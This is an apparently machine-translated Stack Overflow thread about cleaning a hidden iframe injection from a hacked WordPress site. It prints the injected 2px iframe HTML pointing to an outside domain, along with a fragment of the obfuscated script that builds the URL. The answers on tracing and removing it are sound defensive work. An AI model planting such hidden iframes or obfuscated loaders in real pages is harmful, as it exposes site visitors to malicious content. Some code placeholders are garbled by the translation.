需要帮助从网站上删除iFrame hack?

时间:2011-11-17 00:54:35

标签: javascript html iframe code-injection

好的,所以我网站上的某个地方是一个Javascript文件,几秒钟后,将一个iframe注入到页面中的未知网站。它的注入失败并且HTML有点混乱,但是因为iframe src自我上次检查后发生了变化,所以它很有用。

代码注入:

<divstyle="height:2px;width:111px;">
<iframe style="height:2px;width:111px;" src="http://nleskoettf.com/index.php?tp=001e4bb7b4d7333d"></iframe>
</divstyle="height:2px;width:111px;">

近距离和个人一瞥:http://caseconsultant.com是它注入的地方(见页面底部)。别担心,the URL in the iframe src is dead (downforeveryone.com/nleskoettf.com),它甚至不是一个真正令人困惑的工作网站。

任何人都知道如何跟踪注入的HTML到源代码? 有人能做到吗?

3 个答案:

答案 0 :(得分:4)

您可以使用Noscript之类的工具来阻止用于脚本编写的域,并本地化注入iframe的脚本。

然后,当您阻止 twitter.com

时,您会看到iframe不存在

http://caseconsultant.com/wp-content/plugins/contact-form-7/scripts.js?ver=2.3.1内有一个函数(参见最后一行)从twitter加载一些JSON数据并创建iframe(可能使用来自twitter响应的数据,可能是更改url的原因)

这对您来说也很有趣:Is this dangerous Javascript?(它的功能相同)

我不确定这是不是恶意软件,也许该函数中只有一个创建无效HTML / URL的错误 但是该函数与联系表单无关,也不是原始scripts.js的一部分(你会在这里找到它:http://downloads.wordpress.org/plugin/contact-form-7.2.3.1.zip),所以我担心这个网站已经被被黑客攻击(除了你自己把功能放在那里)。

所以你能做什么:

  1. Read this(删除该功能是不够的,只要您没有删除此漏洞)
  2. 检查服务器日志,script.js已于2011年11月11日格林威治标准时间19:57:00进行了修改,是否有可疑的东西?如果不是,您可能认为没有服务器端漏洞(但也可以修改服务器日志),....
  3. 更改您的FTP密码
  4. 扫描您的PC以查找恶意软件

答案 1 :(得分:2)

我建议使用Chrome的开发者工具来解决这个问题。如果您在Chrome中加载了自己的网站,则可以通过点击扳手按钮打开工具,然后点击Tools -> Developer Tools(或Ctrl+Shift+I)。

从那里,您可以使用“资源”选项卡查看为该页面加载的所有内容,或者使用“脚本”选项卡仅关注javascript。对于这个问题,这两个看起来都没用,所以我推荐一种不同的方法:打破DOM的变化。在“元素”标签中查看,右键点击<body>标记,然后选择Break on subtree modifications。然后,刷新页面(可能需要刷新两次,Chrome第一次为我排除了故障)。

您应该在“脚本”窗口中呼叫jQuery.append(如果没有,请点击F10,有时Chrome会在加载时选择或多或少的修改),如果您查看{{在Scope Variables子窗口的Local下的1}}变量,你会看到这是试图插入有问题的div / iframe。

现在,您可以使用右上角的按钮或F10和F11单步执行javascript。如果您按F10几次('Step Over'),您将最终进入违规脚本,Chrome将其称为'(程序)'(表示已动态加载)。这已被混淆,因此有点难以阅读/理解,但您可以使用控制台窗口从脚本中运行。

例如,a函数用于翻译模糊文本。您可以使用它来查看它正在使用的所有不同字符串,例如在这一行:

jsn

构建iframe的网址。

这意味着我们已经确定了有问题的脚本,但事实上Chrome被识别为“(程序)”意味着它已被动态加载到内存中以便运行。这意味着实际的脚本部分很可能被压缩,并在其他脚本文件中的某处进一步混淆。如果你查看一下Resources文件中的那些脚本文件,你应该能够找到一条或多条不适合的行,看起来非常混淆/压缩,并且可能在内联函数调用中,IE:

jsg = jsn('Ch') + jsp(jsb).substring(0, jsa) + '.com/' + jsAJ($);

它们看起来有点类似于'(程序)'视图中的脚本文件。它还可以帮助搜索难以进一步压缩/优化的内容,例如混淆的字符串。我搜索了其中一个字符串(function() { ... } )(); ,并在haDWDosestnsdlDjfqcq的底部找到了它。删除该行,您的网站应该没问题!

答案 2 :(得分:1)

我最近发生了这种情况,iframe注入javascript文件(和其他人!)。我做的第一件事是我的整个服务器上的url的grep -n来查找注入的每个实例。只需一行,删除相当简单。然后是跟踪它的问题。

事实证明这是一个由于漏洞而被种植的流氓apache模块。就我而言,它是mod_aclr.so

浏览/ usr / lib / httpd / modules /或/ usr / lib64 / httpd / modules /目录,并将列表与实际apache模块列表进行比较:http://httpd.apache.org/docs/2.2/mod/

如果您有一些模块没有出现在该列表中,请查看它们包含的内容,或者只是进行谷歌搜索以查看它们是否与实际模块相关联。在我的情况下,mod_aclr.so返回了大约10页的俄语评论,所以我隔离了它,并将观察现在发生的事情。

这是关于这个主题的好文章:http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/